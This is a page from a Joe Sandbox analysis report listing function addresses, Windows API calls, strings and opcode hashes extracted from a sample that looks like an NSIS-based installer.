Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
@, xrefs: 00404BBC
N, xrefs: 00404C32
, xrefs: 00404F65

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
Delete: DeleteFile("%s"), xrefs: 00406DE8
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile failed("%s"), xrefs: 00406E29
\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
ptF, xrefs: 00406D1A

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
